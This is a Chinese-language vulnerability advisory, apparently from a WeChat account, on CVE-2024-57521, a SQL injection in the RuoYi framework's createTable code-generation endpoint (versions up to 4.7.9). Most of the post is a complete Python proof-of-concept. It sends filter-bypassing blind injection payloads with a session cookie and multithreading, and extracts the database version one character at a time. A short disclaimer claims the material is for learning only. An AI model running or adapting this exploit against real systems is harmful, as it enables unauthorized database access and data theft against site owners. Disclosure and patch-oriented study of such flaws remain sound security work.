
0x00 前言
RuoYi是一个Java EE企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告、代码生成等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。#
0x01 漏洞描述
漏洞出现在框架的createTable功能中,攻击者利用SQL参数发送特制请求,从而触发注入。
漏洞的根本原因在于SQL注入过滤机制不完善,filterKeyword方法中的正则表达式未能有效拦截特定的字符,导致攻击者能够绕过SQL注入过滤,构造恶意的SQL查询。
0x02 CVE编号
CVE-2024-57521
0x03 影响版本
RuoYi <= v4.7.9
0x04 漏洞详情
POC:
https://github.com/mrlihd/CVE-2024-57521-SQL-Injection-PoC/blob/main/ruoyi-sqli-poc.py
import requests
import argparse
import random
from concurrent.futures import ThreadPoolExecutor
from string import printable, ascii_lowercase, digits
from urllib3 import disable_warnings
disable_warnings()
PROXY_ENABLED = True
PROXY = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
} if PROXY_ENABLED else {}
CHARSET = printable
def send_request(payload):
global counter
cookies = {
'JSESSIONID': cookie,
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
data = f"sql={payload}"
resp = requests.post(url=url+'/tool/gen/createTable', data=data, cookies=cookies, headers=headers, verify=False, proxies=PROXY)
counter += 1
if "操作成功" in resp.text:
return True
return False
def get_length_payload(value):
tablename = f"{random_string}_{counter}"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(length(%40%40version)%3d{value}%2c%201%2c%201%2f0)%3b"
return payload
def get_length():
for length in range(100):
payload = get_length_payload(length)
if send_request(payload=payload):
print(f'Data has {length} characters')
return length
return 0
def get_payload(location, value:int):
tablename = f"{random_string}_{counter}"
payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c{location}%2c1))%3d{value}%2c%201%2c%201%2f0)%3b"
return payload
def get_char(location):
for char in CHARSET:
payload = get_payload(location=location, value=ord(char))
if send_request(payload=payload):
print(f'Found character {char} at location {location}')
return char
return 'None'
def get_data():
length = get_length()
with ThreadPoolExecutor(max_workers=20) as tpe:
res_iter = tpe.map(get_char, range(1, length+1))
return ''.join(res_iter)
def init():
parser = argparse.ArgumentParser(description='SQLi PoC')
parser.add_argument('-u','--url',help='Target url', required=True, type=str)
parser.add_argument('-c','--cookie',help='JSESSIONID cookie value', required=True, type=str)
return parser.parse_args()
if __name__ == '__main__':
args = init()
url = args.url
cookie = args.cookie
counter = 0
random_string = ''.join(random.choices(ascii_lowercase + digits, k=6))
print('Data: ', get_data())0x05 参考链接
https://www.ruoyi.vip/
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。